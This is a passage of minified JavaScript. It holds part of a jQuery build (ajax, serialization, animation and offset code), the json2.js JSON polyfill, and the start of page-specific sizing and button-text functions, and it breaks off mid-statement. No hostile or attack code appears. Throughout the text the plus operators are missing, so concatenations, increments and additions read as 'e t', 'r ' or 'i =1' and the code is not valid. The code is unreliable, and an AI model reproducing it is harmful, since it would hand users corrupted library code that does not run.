0>=e.offsetWidth&&0>=e.offsetHeight||!x.support.reliableHiddenOffsets&&"none"===(e.style&&e.style.display||x.css(e,"display"))},x.expr.filters.visible=function(e){return !x.expr.filters.hidden(e)}),x.each({margin:"",padding:"",border:"Width"},function(e,t){x.cssHooks[e t]={expand:function(n){var r=0,i={},o="string"==typeof n?n.split(" "):[n];for(;4>r;r ){i[e Zt[r] t]=o[r]||o[r-2]||o[0]}return i}},Ut.test(e)||(x.cssHooks[e t].set=on)});var cn=/ /g,pn=/\[\]$/,fn=/\r?\n/g,dn=/^(?:submit|button|image|reset|file)$/i,hn=/^(?:input|select|textarea|keygen)/i;x.fn.extend({serialize:function(){return x.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var e=x.prop(this,"elements");return e?x.makeArray(e):this}).filter(function(){var e=this.type;return this.name&&!x(this).is(":disabled")&&hn.test(this.nodeName)&&!dn.test(e)&&(this.checked||!Ct.test(e))}).map(function(e,t){var n=x(this).val();return null==n?null:x.isArray(n)?x.map(n,function(e){return{name:t.name,value:e.replace(fn,"\r\n")}}):{name:t.name,value:n.replace(fn,"\r\n")}}).get()}}),x.param=function(e,n){var r,i=[],o=function(e,t){t=x.isFunction(t)?t():null==t?"":t,i[i.length]=encodeURIComponent(e) "=" encodeURIComponent(t)};if(n===t&&(n=x.ajaxSettings&&x.ajaxSettings.traditional),x.isArray(e)||e.jquery&&!x.isPlainObject(e)){x.each(e,function(){o(this.name,this.value)})}else{for(r in e){gn(r,e[r],n,o)}}return i.join("&").replace(cn," ")};function gn(e,t,n,r){var i;if(x.isArray(t)){x.each(t,function(t,i){n||pn.test(e)?r(e,i):gn(e "[" ("object"==typeof i?t:"") "]",i,n,r)})}else{if(n||"object"!==x.type(t)){r(e,t)}else{for(i in t){gn(e "[" i "]",t[i],n,r)}}}}x.each("blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error contextmenu".split(" "),function(e,t){x.fn[t]=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),x.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)},bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)}});var mn,yn,vn=x.now(),bn=/\?/,xn=/#.*$/,wn=/([?&])_=[^&]*/,Tn=/^(.*?):[ \t]*([^\r\n]*)\r?$/gm,Cn=/^(?:about|app|app-storage|. -extension|file|res|widget):$/,Nn=/^(?:GET|HEAD)$/,kn=/^\/\//,En=/^([\w. -] :)(?:\/\/([^\/?#:]*)(?::(\d )|)|)/,Sn=x.fn.load,An={},jn={},Dn="*/".concat("*");try{yn=o.href}catch(Ln){yn=a.createElement("a"),yn.href="",yn=yn.href}mn=En.exec(yn.toLowerCase())||[];function Hn(e){return function(t,n){"string"!=typeof t&&(n=t,t="*");var r,i=0,o=t.toLowerCase().match(T)||[];if(x.isFunction(n)){while(r=o[i ]){" "===r[0]?(r=r.slice(1)||"*",(e[r]=e[r]||[]).unshift(n)):(e[r]=e[r]||[]).push(n)}}}}function qn(e,n,r,i){var o={},a=e===jn;function s(l){var u;return o[l]=!0,x.each(e[l]||[],function(e,l){var c=l(n,r,i);return"string"!=typeof c||a||o[c]?a?!(u=c):t:(n.dataTypes.unshift(c),s(c),!1)}),u}return s(n.dataTypes[0])||!o["*"]&&s("*")}function _n(e,n){var r,i,o=x.ajaxSettings.flatOptions||{};for(i in n){n[i]!==t&&((o[i]?e:r||(r={}))[i]=n[i])}return r&&x.extend(!0,e,r),e}x.fn.load=function(e,n,r){if("string"!=typeof e&&Sn){return Sn.apply(this,arguments)}var i,o,a,s=this,l=e.indexOf(" ");return l>=0&&(i=e.slice(l,e.length),e=e.slice(0,l)),x.isFunction(n)?(r=n,n=t):n&&"object"==typeof n&&(a="POST"),s.length>0&&x.ajax({url:e,type:a,dataType:"html",data:n}).done(function(e){o=arguments,s.html(i?x("<div>").append(x.parseHTML(e)).find(i):e)}).complete(r&&function(e,t){s.each(r,o||[e.responseText,t,e])}),this},x.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(e,t){x.fn[t]=function(e){return this.on(t,e)}}),x.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:yn,type:"GET",isLocal:Cn.test(mn[1]),global:!0,processData:!0,async:!0,contentType:"application/x-www-form-urlencoded; charset=UTF-8",accepts:{"*":Dn,text:"text/plain",html:"text/html",xml:"application/xml, text/xml",json:"application/json, text/javascript"},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text json":x.parseJSON,"text xml":x.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(e,t){return t?_n(_n(e,x.ajaxSettings),t):_n(x.ajaxSettings,e)},ajaxPrefilter:Hn(An),ajaxTransport:Hn(jn),ajax:function(e,n){"object"==typeof e&&(n=e,e=t),n=n||{};var r,i,o,a,s,l,u,c,p=x.ajaxSetup({},n),f=p.context||p,d=p.context&&(f.nodeType||f.jquery)?x(f):x.event,h=x.Deferred(),g=x.Callbacks("once memory"),m=p.statusCode||{},y={},v={},b=0,w="canceled",C={readyState:0,getResponseHeader:function(e){var t;if(2===b){if(!c){c={};while(t=Tn.exec(a)){c[t[1].toLowerCase()]=t[2]}}t=c[e.toLowerCase()]}return null==t?null:t},getAllResponseHeaders:function(){return 2===b?a:null},setRequestHeader:function(e,t){var n=e.toLowerCase();return b||(e=v[n]=v[n]||e,y[e]=t),this},overrideMimeType:function(e){return b||(p.mimeType=e),this},statusCode:function(e){var t;if(e){if(2>b){for(t in e){m[t]=[m[t],e[t]]}}else{C.always(e[C.status])}}return this},abort:function(e){var t=e||w;return u&&u.abort(t),k(0,t),this}};if(h.promise(C).complete=g.add,C.success=C.done,C.error=C.fail,p.url=((e||p.url||yn) "").replace(xn,"").replace(kn,mn[1] "//"),p.type=n.method||n.type||p.method||p.type,p.dataTypes=x.trim(p.dataType||"*").toLowerCase().match(T)||[""],null==p.crossDomain&&(r=En.exec(p.url.toLowerCase()),p.crossDomain=!(!r||r[1]===mn[1]&&r[2]===mn[2]&&(r[3]||("http:"===r[1]?"80":"443"))===(mn[3]||("http:"===mn[1]?"80":"443")))),p.data&&p.processData&&"string"!=typeof p.data&&(p.data=x.param(p.data,p.traditional)),qn(An,p,n,C),2===b){return C}l=p.global,l&&0===x.active &&x.event.trigger("ajaxStart"),p.type=p.type.toUpperCase(),p.hasContent=!Nn.test(p.type),o=p.url,p.hasContent||(p.data&&(o=p.url =(bn.test(o)?"&":"?") p.data,delete p.data),p.cache===!1&&(p.url=wn.test(o)?o.replace(wn,"$1_=" vn ):o (bn.test(o)?"&":"?") "_=" vn )),p.ifModified&&(x.lastModified[o]&&C.setRequestHeader("If-Modified-Since",x.lastModified[o]),x.etag[o]&&C.setRequestHeader("If-None-Match",x.etag[o])),(p.data&&p.hasContent&&p.contentType!==!1||n.contentType)&&C.setRequestHeader("Content-Type",p.contentType),C.setRequestHeader("Accept",p.dataTypes[0]&&p.accepts[p.dataTypes[0]]?p.accepts[p.dataTypes[0]] ("*"!==p.dataTypes[0]?", " Dn "; q=0.01":""):p.accepts["*"]);for(i in p.headers){C.setRequestHeader(i,p.headers[i])}if(p.beforeSend&&(p.beforeSend.call(f,C,p)===!1||2===b)){return C.abort()}w="abort";for(i in {success:1,error:1,complete:1}){C[i](p[i])}if(u=qn(jn,p,n,C)){C.readyState=1,l&&d.trigger("ajaxSend",[C,p]),p.async&&p.timeout>0&&(s=setTimeout(function(){C.abort("timeout")},p.timeout));try{b=1,u.send(y,k)}catch(N){if(!(2>b)){throw N}k(-1,N)}}else{k(-1,"No Transport")}function k(e,n,r,i){var c,y,v,w,T,N=n;2!==b&&(b=2,s&&clearTimeout(s),u=t,a=i||"",C.readyState=e>0?4:0,c=e>=200&&300>e||304===e,r&&(w=Mn(p,C,r)),w=On(p,w,C,c),c?(p.ifModified&&(T=C.getResponseHeader("Last-Modified"),T&&(x.lastModified[o]=T),T=C.getResponseHeader("etag"),T&&(x.etag[o]=T)),204===e||"HEAD"===p.type?N="nocontent":304===e?N="notmodified":(N=w.state,y=w.data,v=w.error,c=!v)):(v=N,(e||!N)&&(N="error",0>e&&(e=0))),C.status=e,C.statusText=(n||N) "",c?h.resolveWith(f,[y,N,C]):h.rejectWith(f,[C,N,v]),C.statusCode(m),m=t,l&&d.trigger(c?"ajaxSuccess":"ajaxError",[C,p,c?y:v]),g.fireWith(f,[C,N]),l&&(d.trigger("ajaxComplete",[C,p]),--x.active||x.event.trigger("ajaxStop")))}return C},getJSON:function(e,t,n){return x.get(e,t,n,"json")},getScript:function(e,n){return x.get(e,t,n,"script")}}),x.each(["get","post"],function(e,n){x[n]=function(e,r,i,o){return x.isFunction(r)&&(o=o||i,i=r,r=t),x.ajax({url:e,type:n,dataType:o,data:r,success:i})}});function Mn(e,n,r){var i,o,a,s,l=e.contents,u=e.dataTypes;while("*"===u[0]){u.shift(),o===t&&(o=e.mimeType||n.getResponseHeader("Content-Type"))}if(o){for(s in l){if(l[s]&&l[s].test(o)){u.unshift(s);break}}}if(u[0] in r){a=u[0]}else{for(s in r){if(!u[0]||e.converters[s " " u[0]]){a=s;break}i||(i=s)}a=a||i}return a?(a!==u[0]&&u.unshift(a),r[a]):t}function On(e,t,n,r){var i,o,a,s,l,u={},c=e.dataTypes.slice();if(c[1]){for(a in e.converters){u[a.toLowerCase()]=e.converters[a]}}o=c.shift();while(o){if(e.responseFields[o]&&(n[e.responseFields[o]]=t),!l&&r&&e.dataFilter&&(t=e.dataFilter(t,e.dataType)),l=o,o=c.shift()){if("*"===o){o=l}else{if("*"!==l&&l!==o){if(a=u[l " " o]||u["* " o],!a){for(i in u){if(s=i.split(" "),s[1]===o&&(a=u[l " " s[0]]||u["* " s[0]])){a===!0?a=u[i]:u[i]!==!0&&(o=s[0],c.unshift(s[1]));break}}}if(a!==!0){if(a&&e["throws"]){t=a(t)}else{try{t=a(t)}catch(p){return{state:"parsererror",error:a?p:"No conversion from " l " to " o}}}}}}}}return{state:"success",data:t}}x.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/(?:java|ecma)script/},converters:{"text script":function(e){return x.globalEval(e),e}}}),x.ajaxPrefilter("script",function(e){e.cache===t&&(e.cache=!1),e.crossDomain&&(e.type="GET",e.global=!1)}),x.ajaxTransport("script",function(e){if(e.crossDomain){var n,r=a.head||x("head")[0]||a.documentElement;return{send:function(t,i){n=a.createElement("script"),n.async=!0,e.scriptCharset&&(n.charset=e.scriptCharset),n.src=e.url,n.onload=n.onreadystatechange=function(e,t){(t||!n.readyState||/loaded|complete/.test(n.readyState))&&(n.onload=n.onreadystatechange=null,n.parentNode&&n.parentNode.removeChild(n),n=null,t||i(200,"success"))},r.insertBefore(n,r.firstChild)},abort:function(){n&&n.onload(t,!0)}}}});var Fn=[],Bn=/(=)\?(?=&|$)|\?\?/;x.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=Fn.pop()||x.expando "_" vn ;return this[e]=!0,e}}),x.ajaxPrefilter("json jsonp",function(n,r,i){var o,a,s,l=n.jsonp!==!1&&(Bn.test(n.url)?"url":"string"==typeof n.data&&!(n.contentType||"").indexOf("application/x-www-form-urlencoded")&&Bn.test(n.data)&&"data");return l||"jsonp"===n.dataTypes[0]?(o=n.jsonpCallback=x.isFunction(n.jsonpCallback)?n.jsonpCallback():n.jsonpCallback,l?n[l]=n[l].replace(Bn,"$1" o):n.jsonp!==!1&&(n.url =(bn.test(n.url)?"&":"?") n.jsonp "=" o),n.converters["script json"]=function(){return s||x.error(o " was not called"),s[0]},n.dataTypes[0]="json",a=e[o],e[o]=function(){s=arguments},i.always(function(){e[o]=a,n[o]&&(n.jsonpCallback=r.jsonpCallback,Fn.push(o)),s&&x.isFunction(a)&&a(s[0]),s=a=t}),"script"):t});var Pn,Rn,Wn=0,$n=e.ActiveXObject&&function(){var e;for(e in Pn){Pn[e](t,!0)}};function In(){try{return new e.XMLHttpRequest}catch(t){}}function zn(){try{return new e.ActiveXObject("Microsoft.XMLHTTP")}catch(t){}}x.ajaxSettings.xhr=e.ActiveXObject?function(){return !this.isLocal&&In()||zn()}:In,Rn=x.ajaxSettings.xhr(),x.support.cors=!!Rn&&"withCredentials" in Rn,Rn=x.support.ajax=!!Rn,Rn&&x.ajaxTransport(function(n){if(!n.crossDomain||x.support.cors){var r;return{send:function(i,o){var a,s,l=n.xhr();if(n.username?l.open(n.type,n.url,n.async,n.username,n.password):l.open(n.type,n.url,n.async),n.xhrFields){for(s in n.xhrFields){l[s]=n.xhrFields[s]}}n.mimeType&&l.overrideMimeType&&l.overrideMimeType(n.mimeType),n.crossDomain||i["X-Requested-With"]||(i["X-Requested-With"]="XMLHttpRequest");try{for(s in i){l.setRequestHeader(s,i[s])}}catch(u){}l.send(n.hasContent&&n.data||null),r=function(e,i){var s,u,c,p;try{if(r&&(i||4===l.readyState)){if(r=t,a&&(l.onreadystatechange=x.noop,$n&&delete Pn[a]),i){4!==l.readyState&&l.abort()}else{p={},s=l.status,u=l.getAllResponseHeaders(),"string"==typeof l.responseText&&(p.text=l.responseText);try{c=l.statusText}catch(f){c=""}s||!n.isLocal||n.crossDomain?1223===s&&(s=204):s=p.text?200:404}}}catch(d){i||o(-1,d)}p&&o(s,c,p,u)},n.async?4===l.readyState?setTimeout(r):(a= Wn,$n&&(Pn||(Pn={},x(e).unload($n)),Pn[a]=r),l.onreadystatechange=r):r()},abort:function(){r&&r(t,!0)}}}});var Xn,Un,Vn=/^(?:toggle|show|hide)$/,Yn=RegExp("^(?:([ -])=|)(" w ")([a-z%]*)$","i"),Jn=/queueHooks$/,Gn=[nr],Qn={"*":[function(e,t){var n=this.createTween(e,t),r=n.cur(),i=Yn.exec(t),o=i&&i[3]||(x.cssNumber[e]?"":"px"),a=(x.cssNumber[e]||"px"!==o&& r)&&Yn.exec(x.css(n.elem,e)),s=1,l=20;if(a&&a[3]!==o){o=o||a[3],i=i||[],a= r||1;do{s=s||".5",a/=s,x.style(n.elem,e,a o)}while(s!==(s=n.cur()/r)&&1!==s&&--l)}return i&&(a=n.start= a|| r||0,n.unit=o,n.end=i[1]?a (i[1] 1)*i[2]: i[2]),n}]};function Kn(){return setTimeout(function(){Xn=t}),Xn=x.now()}function Zn(e,t,n){var r,i=(Qn[t]||[]).concat(Qn["*"]),o=0,a=i.length;for(;a>o;o ){if(r=i[o].call(n,t,e)){return r}}}function er(e,t,n){var r,i,o=0,a=Gn.length,s=x.Deferred().always(function(){delete l.elem}),l=function(){if(i){return !1}var t=Xn||Kn(),n=Math.max(0,u.startTime u.duration-t),r=n/u.duration||0,o=1-r,a=0,l=u.tweens.length;for(;l>a;a ){u.tweens[a].run(o)}return s.notifyWith(e,[u,o,n]),1>o&&l?n:(s.resolveWith(e,[u]),!1)},u=s.promise({elem:e,props:x.extend({},t),opts:x.extend(!0,{specialEasing:{}},n),originalProperties:t,originalOptions:n,startTime:Xn||Kn(),duration:n.duration,tweens:[],createTween:function(t,n){var r=x.Tween(e,u.opts,t,n,u.opts.specialEasing[t]||u.opts.easing);return u.tweens.push(r),r},stop:function(t){var n=0,r=t?u.tweens.length:0;if(i){return this}for(i=!0;r>n;n ){u.tweens[n].run(1)}return t?s.resolveWith(e,[u,t]):s.rejectWith(e,[u,t]),this}}),c=u.props;for(tr(c,u.opts.specialEasing);a>o;o ){if(r=Gn[o].call(u,e,c,u.opts)){return r}}return x.map(c,Zn,u),x.isFunction(u.opts.start)&&u.opts.start.call(e,u),x.fx.timer(x.extend(l,{elem:e,anim:u,queue:u.opts.queue})),u.progress(u.opts.progress).done(u.opts.done,u.opts.complete).fail(u.opts.fail).always(u.opts.always)}function tr(e,t){var n,r,i,o,a;for(n in e){if(r=x.camelCase(n),i=t[r],o=e[n],x.isArray(o)&&(i=o[1],o=e[n]=o[0]),n!==r&&(e[r]=o,delete e[n]),a=x.cssHooks[r],a&&"expand" in a){o=a.expand(o),delete e[r];for(n in o){n in e||(e[n]=o[n],t[n]=i)}}else{t[r]=i}}}x.Animation=x.extend(er,{tweener:function(e,t){x.isFunction(e)?(t=e,e=["*"]):e=e.split(" ");var n,r=0,i=e.length;for(;i>r;r ){n=e[r],Qn[n]=Qn[n]||[],Qn[n].unshift(t)}},prefilter:function(e,t){t?Gn.unshift(e):Gn.push(e)}});function nr(e,t,n){var r,i,o,a,s,l,u=this,c={},p=e.style,f=e.nodeType&&nn(e),d=x._data(e,"fxshow");n.queue||(s=x._queueHooks(e,"fx"),null==s.unqueued&&(s.unqueued=0,l=s.empty.fire,s.empty.fire=function(){s.unqueued||l()}),s.unqueued ,u.always(function(){u.always(function(){s.unqueued--,x.queue(e,"fx").length||s.empty.fire()})})),1===e.nodeType&&("height" in t||"width" in t)&&(n.overflow=[p.overflow,p.overflowX,p.overflowY],"inline"===x.css(e,"display")&&"none"===x.css(e,"float")&&(x.support.inlineBlockNeedsLayout&&"inline"!==ln(e.nodeName)?p.zoom=1:p.display="inline-block")),n.overflow&&(p.overflow="hidden",x.support.shrinkWrapBlocks||u.always(function(){p.overflow=n.overflow[0],p.overflowX=n.overflow[1],p.overflowY=n.overflow[2]}));for(r in t){if(i=t[r],Vn.exec(i)){if(delete t[r],o=o||"toggle"===i,i===(f?"hide":"show")){continue}c[r]=d&&d[r]||x.style(e,r)}}if(!x.isEmptyObject(c)){d?"hidden" in d&&(f=d.hidden):d=x._data(e,"fxshow",{}),o&&(d.hidden=!f),f?x(e).show():u.done(function(){x(e).hide()}),u.done(function(){var t;x._removeData(e,"fxshow");for(t in c){x.style(e,t,c[t])}});for(r in c){a=Zn(f?d[r]:0,r,u),r in d||(d[r]=a.start,f&&(a.end=a.start,a.start="width"===r||"height"===r?1:0))}}}function rr(e,t,n,r,i){return new rr.prototype.init(e,t,n,r,i)}x.Tween=rr,rr.prototype={constructor:rr,init:function(e,t,n,r,i,o){this.elem=e,this.prop=n,this.easing=i||"swing",this.options=t,this.start=this.now=this.cur(),this.end=r,this.unit=o||(x.cssNumber[n]?"":"px")},cur:function(){var e=rr.propHooks[this.prop];return e&&e.get?e.get(this):rr.propHooks._default.get(this)},run:function(e){var t,n=rr.propHooks[this.prop];return this.pos=t=this.options.duration?x.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):e,this.now=(this.end-this.start)*t this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):rr.propHooks._default.set(this),this}},rr.prototype.init.prototype=rr.prototype,rr.propHooks={_default:{get:function(e){var t;return null==e.elem[e.prop]||e.elem.style&&null!=e.elem.style[e.prop]?(t=x.css(e.elem,e.prop,""),t&&"auto"!==t?t:0):e.elem[e.prop]},set:function(e){x.fx.step[e.prop]?x.fx.step[e.prop](e):e.elem.style&&(null!=e.elem.style[x.cssProps[e.prop]]||x.cssHooks[e.prop])?x.style(e.elem,e.prop,e.now e.unit):e.elem[e.prop]=e.now}}},rr.propHooks.scrollTop=rr.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},x.each(["toggle","show","hide"],function(e,t){var n=x.fn[t];x.fn[t]=function(e,r,i){return null==e||"boolean"==typeof e?n.apply(this,arguments):this.animate(ir(t,!0),e,r,i)}}),x.fn.extend({fadeTo:function(e,t,n,r){return this.filter(nn).css("opacity",0).show().end().animate({opacity:t},e,n,r)},animate:function(e,t,n,r){var i=x.isEmptyObject(e),o=x.speed(t,n,r),a=function(){var t=er(this,x.extend({},e),o);(i||x._data(this,"finish"))&&t.stop(!0)};return a.finish=a,i||o.queue===!1?this.each(a):this.queue(o.queue,a)},stop:function(e,n,r){var i=function(e){var t=e.stop;delete e.stop,t(r)};return"string"!=typeof e&&(r=n,n=e,e=t),n&&e!==!1&&this.queue(e||"fx",[]),this.each(function(){var t=!0,n=null!=e&&e "queueHooks",o=x.timers,a=x._data(this);if(n){a[n]&&a[n].stop&&i(a[n])}else{for(n in a){a[n]&&a[n].stop&&Jn.test(n)&&i(a[n])}}for(n=o.length;n--;){o[n].elem!==this||null!=e&&o[n].queue!==e||(o[n].anim.stop(r),t=!1,o.splice(n,1))}(t||!r)&&x.dequeue(this,e)})},finish:function(e){return e!==!1&&(e=e||"fx"),this.each(function(){var t,n=x._data(this),r=n[e "queue"],i=n[e "queueHooks"],o=x.timers,a=r?r.length:0;for(n.finish=!0,x.queue(this,e,[]),i&&i.stop&&i.stop.call(this,!0),t=o.length;t--;){o[t].elem===this&&o[t].queue===e&&(o[t].anim.stop(!0),o.splice(t,1))}for(t=0;a>t;t ){r[t]&&r[t].finish&&r[t].finish.call(this)}delete n.finish})}});function ir(e,t){var n,r={height:e},i=0;for(t=t?1:0;4>i;i =2-t){n=Zt[i],r["margin" n]=r["padding" n]=e}return t&&(r.opacity=r.width=e),r}x.each({slideDown:ir("show"),slideUp:ir("hide"),slideToggle:ir("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(e,t){x.fn[e]=function(e,n,r){return this.animate(t,e,n,r)}}),x.speed=function(e,t,n){var r=e&&"object"==typeof e?x.extend({},e):{complete:n||!n&&t||x.isFunction(e)&&e,duration:e,easing:n&&t||t&&!x.isFunction(t)&&t};return r.duration=x.fx.off?0:"number"==typeof r.duration?r.duration:r.duration in x.fx.speeds?x.fx.speeds[r.duration]:x.fx.speeds._default,(null==r.queue||r.queue===!0)&&(r.queue="fx"),r.old=r.complete,r.complete=function(){x.isFunction(r.old)&&r.old.call(this),r.queue&&x.dequeue(this,r.queue)},r},x.easing={linear:function(e){return e},swing:function(e){return 0.5-Math.cos(e*Math.PI)/2}},x.timers=[],x.fx=rr.prototype.init,x.fx.tick=function(){var e,n=x.timers,r=0;for(Xn=x.now();n.length>r;r ){e=n[r],e()||n[r]!==e||n.splice(r--,1)}n.length||x.fx.stop(),Xn=t},x.fx.timer=function(e){e()&&x.timers.push(e)&&x.fx.start()},x.fx.interval=13,x.fx.start=function(){Un||(Un=setInterval(x.fx.tick,x.fx.interval))},x.fx.stop=function(){clearInterval(Un),Un=null},x.fx.speeds={slow:600,fast:200,_default:400},x.fx.step={},x.expr&&x.expr.filters&&(x.expr.filters.animated=function(e){return x.grep(x.timers,function(t){return e===t.elem}).length}),x.fn.offset=function(e){if(arguments.length){return e===t?this:this.each(function(t){x.offset.setOffset(this,e,t)})}var n,r,o={top:0,left:0},a=this[0],s=a&&a.ownerDocument;if(s){return n=s.documentElement,x.contains(n,a)?(typeof a.getBoundingClientRect!==i&&(o=a.getBoundingClientRect()),r=or(s),{top:o.top (r.pageYOffset||n.scrollTop)-(n.clientTop||0),left:o.left (r.pageXOffset||n.scrollLeft)-(n.clientLeft||0)}):o}},x.offset={setOffset:function(e,t,n){var r=x.css(e,"position");"static"===r&&(e.style.position="relative");var i=x(e),o=i.offset(),a=x.css(e,"top"),s=x.css(e,"left"),l=("absolute"===r||"fixed"===r)&&x.inArray("auto",[a,s])>-1,u={},c={},p,f;l?(c=i.position(),p=c.top,f=c.left):(p=parseFloat(a)||0,f=parseFloat(s)||0),x.isFunction(t)&&(t=t.call(e,n,o)),null!=t.top&&(u.top=t.top-o.top p),null!=t.left&&(u.left=t.left-o.left f),"using" in t?t.using.call(e,u):i.css(u)}},x.fn.extend({position:function(){if(this[0]){var e,t,n={top:0,left:0},r=this[0];return"fixed"===x.css(r,"position")?t=r.getBoundingClientRect():(e=this.offsetParent(),t=this.offset(),x.nodeName(e[0],"html")||(n=e.offset()),n.top =x.css(e[0],"borderTopWidth",!0),n.left =x.css(e[0],"borderLeftWidth",!0)),{top:t.top-n.top-x.css(r,"marginTop",!0),left:t.left-n.left-x.css(r,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var e=this.offsetParent||s;while(e&&!x.nodeName(e,"html")&&"static"===x.css(e,"position")){e=e.offsetParent}return e||s})}}),x.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(e,n){var r=/Y/.test(n);x.fn[e]=function(i){return x.access(this,function(e,i,o){var a=or(e);return o===t?a?n in a?a[n]:a.document.documentElement[i]:e[i]:(a?a.scrollTo(r?x(a).scrollLeft():o,r?o:x(a).scrollTop()):e[i]=o,t)},e,i,arguments.length,null)}});function or(e){return x.isWindow(e)?e:9===e.nodeType?e.defaultView||e.parentWindow:!1}x.each({Height:"height",Width:"width"},function(e,n){x.each({padding:"inner" e,content:n,"":"outer" e},function(r,i){x.fn[i]=function(i,o){var a=arguments.length&&(r||"boolean"!=typeof i),s=r||(i===!0||o===!0?"margin":"border");return x.access(this,function(n,r,i){var o;return x.isWindow(n)?n.document.documentElement["client" e]:9===n.nodeType?(o=n.documentElement,Math.max(n.body["scroll" e],o["scroll" e],n.body["offset" e],o["offset" e],o["client" e])):i===t?x.css(n,r,s):x.style(n,r,i,s)},n,a?i:t,a,null)}})}),x.fn.size=function(){return this.length},x.fn.andSelf=x.fn.addBack,"object"==typeof module&&module&&"object"==typeof module.exports?module.exports=x:(e.jQuery=e.$=x,"function"==typeof define&&define.amd&&define("jquery",[],function(){return x}))})(window);if(typeof JSON!=="object"){JSON={}}(function(){function f(n){return n<10?"0" n:n}if(typeof Date.prototype.toJSON!=="function"){Date.prototype.toJSON=function(){return isFinite(this.valueOf())?this.getUTCFullYear() "-" f(this.getUTCMonth() 1) "-" f(this.getUTCDate()) "T" f(this.getUTCHours()) ":" f(this.getUTCMinutes()) ":" f(this.getUTCSeconds()) "Z":null};String.prototype.toJSON=Number.prototype.toJSON=Boolean.prototype.toJSON=function(){return this.valueOf()}}var cx,escapable,gap,indent,meta,rep;function quote(string){escapable.lastIndex=0;return escapable.test(string)?'"' string.replace(escapable,function(a){var c=meta[a];return typeof c==="string"?c:"\\u" ("0000" a.charCodeAt(0).toString(16)).slice(-4)}) '"':'"' string '"'}function str(key,holder){var i,k,v,length,mind=gap,partial,value=holder[key];if(value&&typeof value==="object"&&typeof value.toJSON==="function"){value=value.toJSON(key)}if(typeof rep==="function"){value=rep.call(holder,key,value)}switch(typeof value){case"string":return quote(value);case"number":return isFinite(value)?String(value):"null";case"boolean":case"null":return String(value);case"object":if(!value){return"null"}gap =indent;partial=[];if(Object.prototype.toString.apply(value)==="[object Array]"){length=value.length;for(i=0;i<length;i =1){partial[i]=str(i,value)||"null"}v=partial.length===0?"[]":gap?"[\n" gap partial.join(",\n" gap) "\n" mind "]":"[" partial.join(",") "]";gap=mind;return v}if(rep&&typeof rep==="object"){length=rep.length;for(i=0;i<length;i =1){if(typeof rep[i]==="string"){k=rep[i];v=str(k,value);if(v){partial.push(quote(k) (gap?": ":":") v)}}}}else{for(k in value){if(Object.prototype.hasOwnProperty.call(value,k)){v=str(k,value);if(v){partial.push(quote(k) (gap?": ":":") v)}}}}v=partial.length===0?"{}":gap?"{\n" gap partial.join(",\n" gap) "\n" mind "}":"{" partial.join(",") "}";gap=mind;return v}}if(typeof JSON.stringify!=="function"){escapable=/[\\\"\x00-\x1f\x7f-\x9f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g;meta={"\b":"\\b","\t":"\\t","\n":"\\n","\f":"\\f","\r":"\\r",'"':'\\"',"\\":"\\\\"};JSON.stringify=function(value,replacer,space){var i;gap="";indent="";if(typeof space==="number"){for(i=0;i<space;i =1){indent =" "}}else{if(typeof space==="string"){indent=space}}rep=replacer;if(replacer&&typeof replacer!=="function"&&(typeof replacer!=="object"||typeof replacer.length!=="number")){throw new Error("JSON.stringify")}return str("",{"":value})}}if(typeof JSON.parse!=="function"){cx=/[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g;JSON.parse=function(text,reviver){var j;function walk(holder,key){var k,v,value=holder[key];if(value&&typeof value==="object"){for(k in value){if(Object.prototype.hasOwnProperty.call(value,k)){v=walk(value,k);if(v!==undefined){value[k]=v}else{delete value[k]}}}}return reviver.call(holder,key,value)}text=String(text);cx.lastIndex=0;if(cx.test(text)){text=text.replace(cx,function(a){return"\\u" ("0000" a.charCodeAt(0).toString(16)).slice(-4)})}if(/^[\],:{}\s]*$/.test(text.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,"@").replace(/"[^"\\\n\r]*"|true|false|null|-?\d (?:\.\d*)?(?:[eE][ \-]?\d )?/g,"]").replace(/(?:^|:|,)(?:\s*\[) /g,""))){j=eval("(" text ")");return typeof reviver==="function"?walk({"":j},""):j}throw new SyntaxError("JSON.parse")}}}());var actualWidth;var actualHeight;function getBodySize(){try{try{addTrace("enter");actualWidth=$("#_BodyWidth").text();addTrace("width");actualHeight=$("#_BodyHeight").text();addTrace("height");addLog("width:" actualWidth);addLog("height:" actualHeight);if($.isNumeric(actualWidth)&&$.isNumeric(actualHeight)){return}}catch(ex){}actualWidth=$(document).width();actualHeight=$(document).height();if(actualHeight<100){actualWidth=$("body").width();actualHeight=$("body").height()}if(actualHeight<100){actualWidth=$("body").css("width");actualHeight=$("body").css("height")}if(actualHeight<100||actualHeight>600){actualWidth=670;actualHeight=410}}catch(err){actualWidth=670;actualHeight=410}}function setButtonDefaultText(elements){var setDefault=function(element){if(element){element.attr("defaultText",element.val())}};$.each(elements,function(key,element){setDefault(element)})}function setButtonsText(){var 